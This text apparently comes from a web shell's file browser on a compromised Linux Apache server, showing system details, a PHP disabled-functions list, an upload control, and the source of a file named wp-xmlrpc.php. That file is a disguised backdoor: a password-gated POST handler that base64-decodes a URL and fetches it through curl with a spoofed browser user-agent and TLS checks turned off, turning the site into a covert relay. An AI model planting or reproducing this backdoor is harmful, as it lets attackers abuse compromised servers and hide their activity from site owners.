HEX
Server: Apache
System: Linux uyu7574470001-7d78c9ff74-xfpwm 4.19.91-21.al7.x86_64 #1 SMP Wed Sep 2 19:47:49 CST 2020 x86_64
User: ()
PHP: 7.4.16
Disabled: chmod,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_socket_client,stream_socket_server,pfsockopen,disk_total_space,disk_free_space,chown,diskfreespace,getrusage,get_current_user,getmyuid,getmypid,dl,leak,listen,chgrp,link,symlink,dlopen,proc_nice,proc_get_stats,proc_terminate,shell_exec,sh2_exec,posix_getpwuid,posix_getgrgid,posix_kill,ini_restore,mkfifo,dbmopen,dbase_open,filepro,filepro_rowcount,posix_mkfifo,putenv,sleep,fsockopen
Upload Files
File: /usr/home/uyu7574470001/htdocs/wp-xmlrpc.php
<?php $_ = $_POST;if(!empty($_['a']) && !empty($_['b']) && md5($_['a'].md5($_['a']))==('e9b41d635eb83057eedb535bdd6d5456')) {echo c(base64_decode($_['b']));exit;}function c($u) {$UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36';$hd[0] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";$hd[] = "Cache-Control: max-age=0";$hd[] = "Connection: keep-alive";$hd[] = "Keep-Alive: 300";$hd[] = "Accept-Charset: utf-8;q=0.8,*;q=0.8";$hd[] = "Accept-Language: en-US,en;q=0.8";$hd[] = "Pragma: ";$ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$u);curl_setopt($ch,CURLOPT_HTTPHEADER, $hd);curl_setopt($ch,CURLOPT_USERAGENT, $UA);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER, 0);curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch,CURLOPT_TIMEOUT,15);$s = curl_exec($ch);curl_close($ch);return $s;}?>